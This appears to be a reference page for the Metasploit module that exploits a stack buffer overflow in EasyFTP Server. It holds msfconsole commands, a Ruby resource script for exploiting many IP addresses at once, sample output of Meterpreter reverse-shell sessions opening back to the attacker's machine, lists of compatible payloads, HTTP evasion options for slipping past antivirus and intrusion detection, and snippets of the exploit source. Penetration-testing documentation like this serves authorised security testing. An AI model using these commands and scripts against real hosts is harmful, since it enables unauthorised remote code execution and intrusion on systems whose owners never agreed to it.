EasyFTP Server list.html path Stack Buffer Overflow - Metasploit


This page contains detailed information about how to use the exploit/windows/http/easyftp_list metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: EasyFTP Server list.html path Stack Buffer Overflow
Module: exploit/windows/http/easyftp_list
Source code: modules/exploits/windows/http/easyftp_list.rb
Disclosure date: 2010-02-18
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -

This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11 and earlier. EasyFTP fails to check input size when parsing the 'path' parameter supplied to an HTTP GET request, which leads to a stack based buffer overflow. EasyFTP allows anonymous access by default; valid credentials are typically unnecessary to exploit this vulnerability. After version 1.7.0.12, this package was renamed "UplusFtp". Due to limited space, as well as difficulties using an egghunter, the use of staged, ORD, and/or shell payloads is recommended.

Module Ranking and Traits


Module Ranking:

  • great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. More information about ranking can be found here.

Basic Usage


Using easyftp_list against a single host

Normally, you can use exploit/windows/http/easyftp_list this way:

msf > use exploit/windows/http/easyftp_list
msf exploit(easyftp_list) > show targets
    ... a list of targets ...
msf exploit(easyftp_list) > set TARGET target-id
msf exploit(easyftp_list) > show options
    ... show and set options ...
msf exploit(easyftp_list) > exploit

Using easyftp_list against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your easyftp_list will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/windows/http/easyftp_list")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

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Msfconsole Usage


Here is how the windows/http/easyftp_list exploit module looks in the msfconsole:

msf6 > use exploit/windows/http/easyftp_list

[*] No payload configured, defaulting to generic/shell_reverse_tcp
msf6 exploit(windows/http/easyftp_list) > show info

       Name: EasyFTP Server list.html path Stack Buffer Overflow
     Module: exploit/windows/http/easyftp_list
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2010-02-18

Provided by:
  ThE g0bL!N
  jduck <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Windows XP SP3 - Easy FTP Server Universal

Check supported:
  Yes

Basic options:
  Name          Current Setting      Required  Description
  ----          ---------------      --------  -----------
  HttpPassword  [email protected]  yes       The HTTP password to specify for basic authentication
  HttpUsername  anonymous            yes       The HTTP username to specify for basic authentication
  Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                             yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT         8080                 yes       The target port (TCP)
  SSL           false                no        Negotiate SSL/TLS for outgoing connections
  VHOST                              no        HTTP server virtual host

Payload information:
  Space: 256
  Avoid: 15 characters

Description:
  This module exploits a stack-based buffer overflow in EasyFTP Server 
  1.7.0.11 and earlier. EasyFTP fails to check input size when parsing 
  the 'path' parameter supplied to an HTTP GET request, which leads to 
  a stack based buffer overflow. EasyFTP allows anonymous access by 
  default; valid credentials are typically unnecessary to exploit this 
  vulnerability. After version 1.7.0.12, this package was renamed 
  "UplusFtp". Due to limited space, as well as difficulties using an 
  egghunter, the use of staged, ORD, and/or shell payloads is 
  recommended.

References:
  OSVDB (66614)
  https://www.exploit-db.com/exploits/11500

Module Options


This is a complete list of options available in the windows/http/easyftp_list exploit:

msf6 exploit(windows/http/easyftp_list) > show options

Module options (exploit/windows/http/easyftp_list):

   Name          Current Setting      Required  Description
   ----          ---------------      --------  -----------
   HttpPassword  [email protected]  yes       The HTTP password to specify for basic authentication
   HttpUsername  anonymous            yes       The HTTP username to specify for basic authentication
   Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                             yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT         8080                 yes       The target port (TCP)
   SSL           false                no        Negotiate SSL/TLS for outgoing connections
   VHOST                              no        HTTP server virtual host

Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Windows XP SP3 - Easy FTP Server Universal

Advanced Options


Here is a complete list of advanced options supported by the windows/http/easyftp_list exploit:

msf6 exploit(windows/http/easyftp_list) > show advanced

Module advanced options (exploit/windows/http/easyftp_list):

   Name                    Current Setting                                     Required  Description
   ----                    ---------------                                     --------  -----------
   ContextInformationFile                                                      no        The information file that contains context information
   DOMAIN                  WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS           true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   DisablePayloadHandler   false                                               no        Disable the handler code for the selected payload
   EnableContextEncoding   false                                               no        Use transient context when encoding payloads
   FingerprintCheck        true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                           no        HTTP connection and receive timeout
   HttpRawHeaders                                                              no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace               false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors         red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly    false                                               no        Show HTTP headers only in HttpTrace
   SSLVersion              Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent               Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE                 false                                               no        Enable detailed status messages
   WORKSPACE                                                                   no        Specify the workspace for this module
   WfsDelay                2                                                   no        Additional delay in seconds to wait for a session

Payload advanced options (generic/shell_reverse_tcp):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   ARCH                                         no        The architecture that is being targeted
   PLATFORM                                     no        The platform that is being targeted
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the windows/http/easyftp_list module can exploit:

msf6 exploit(windows/http/easyftp_list) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows XP SP3 - Easy FTP Server Universal

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the windows/http/easyftp_list exploit:

msf6 exploit(windows/http/easyftp_list) > show payloads

Compatible Payloads
===================

   #   Name                                                 Disclosure Date  Rank    Check  Description
   -   ----                                                 ---------------  ----    -----  -----------
   0   payload/generic/custom                                                normal  No     Custom Payload
   1   payload/generic/debug_trap                                            normal  No     Generic x86 Debug Trap
   2   payload/generic/shell_bind_tcp                                        normal  No     Generic Command Shell, Bind TCP Inline
   3   payload/generic/shell_reverse_tcp                                     normal  No     Generic Command Shell, Reverse TCP Inline
   4   payload/generic/tight_loop                                            normal  No     Generic x86 Tight Loop
   5   payload/windows/dllinject/bind_nonx_tcp                               normal  No     Reflective DLL Injection, Bind TCP Stager (No NX or Win7)
   6   payload/windows/dllinject/reverse_nonx_tcp                            normal  No     Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)
   7   payload/windows/dllinject/reverse_ord_tcp                             normal  No     Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)
   8   payload/windows/exec                                                  normal  No     Windows Execute Command
   9   payload/windows/loadlibrary                                           normal  No     Windows LoadLibrary Path
   10  payload/windows/meterpreter/bind_nonx_tcp                             normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
   11  payload/windows/meterpreter/reverse_nonx_tcp                          normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
   12  payload/windows/meterpreter/reverse_ord_tcp                           normal  No     Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   13  payload/windows/metsvc_bind_tcp                                       normal  No     Windows Meterpreter Service, Bind TCP
   14  payload/windows/metsvc_reverse_tcp                                    normal  No     Windows Meterpreter Service, Reverse TCP Inline
   15  payload/windows/patchupdllinject/bind_nonx_tcp                        normal  No     Windows Inject DLL, Bind TCP Stager (No NX or Win7)
   16  payload/windows/patchupdllinject/reverse_nonx_tcp                     normal  No     Windows Inject DLL, Reverse TCP Stager (No NX or Win7)
   17  payload/windows/patchupdllinject/reverse_ord_tcp                      normal  No     Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)
   18  payload/windows/patchupmeterpreter/bind_nonx_tcp                      normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (No NX or Win7)
   19  payload/windows/patchupmeterpreter/reverse_nonx_tcp                   normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)
   20  payload/windows/patchupmeterpreter/reverse_ord_tcp                    normal  No     Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   21  payload/windows/peinject/bind_nonx_tcp                                normal  No     Windows Inject PE Files, Bind TCP Stager (No NX or Win7)
   22  payload/windows/peinject/reverse_nonx_tcp                             normal  No     Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)
   23  payload/windows/peinject/reverse_ord_tcp                              normal  No     Windows Inject PE Files, Reverse Ordinal TCP Stager (No NX or Win7)
   24  payload/windows/powershell_bind_tcp                                   normal  No     Windows Interactive Powershell Session, Bind TCP
   25  payload/windows/powershell_reverse_tcp                                normal  No     Windows Interactive Powershell Session, Reverse TCP
   26  payload/windows/shell/bind_nonx_tcp                                   normal  No     Windows Command Shell, Bind TCP Stager (No NX or Win7)
   27  payload/windows/shell/reverse_nonx_tcp                                normal  No     Windows Command Shell, Reverse TCP Stager (No NX or Win7)
   28  payload/windows/shell/reverse_ord_tcp                                 normal  No     Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
   29  payload/windows/speak_pwned                                           normal  No     Windows Speech API - Say "You Got Pwned!"
   30  payload/windows/upexec/bind_nonx_tcp                                  normal  No     Windows Upload/Execute, Bind TCP Stager (No NX or Win7)
   31  payload/windows/upexec/reverse_nonx_tcp                               normal  No     Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
   32  payload/windows/upexec/reverse_ord_tcp                                normal  No     Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
   33  payload/windows/vncinject/bind_nonx_tcp                               normal  No     VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
   34  payload/windows/vncinject/reverse_nonx_tcp                            normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
   35  payload/windows/vncinject/reverse_ord_tcp                             normal  No     VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)

Evasion Options


Here is the full list of possible evasion options supported by the windows/http/easyftp_list exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(windows/http/easyftp_list) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

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Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Insufficient space for payload, try using a staged, ORD and/or shell payload.


Here is a relevant code snippet related to the "Insufficient space for payload, try using a staged, ORD and/or shell payload." error message:

82:	  end
83:	
84:	
85:	  def exploit
86:	    if (payload.encoded.length > payload_space)
87:	      fail_with(Failure::Unknown, "Insufficient space for payload, try using a staged, ORD and/or shell payload.")
88:	    end
89:	
90:	    # Fix up ESP, jmp to the beginning of the buffer
91:	    stub_asm = %q{
92:	      mov edi, esp

The server unexpectedly responded, this is not good.


Here is a relevant code snippet related to the "The server unexpectedly responded, this is not good." error message:

111:	
112:	    print_status("Trying target #{target.name}...")
113:	    res = send_request_raw({ 'uri' => uri }, 5)
114:	
115:	    if (res)
116:	      print_error("The server unexpectedly responded, this is not good.")
117:	      print_status(res.to_s)
118:	    end
119:	
120:	    handler
121:	  end

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References


See Also


Check also the following modules related to this module:

Authors


  • ThE g0bL!N
  • jduck

Version


This page has been produced using Metasploit Framework version 6.1.33-dev. For more modules, visit the Metasploit Module Library.

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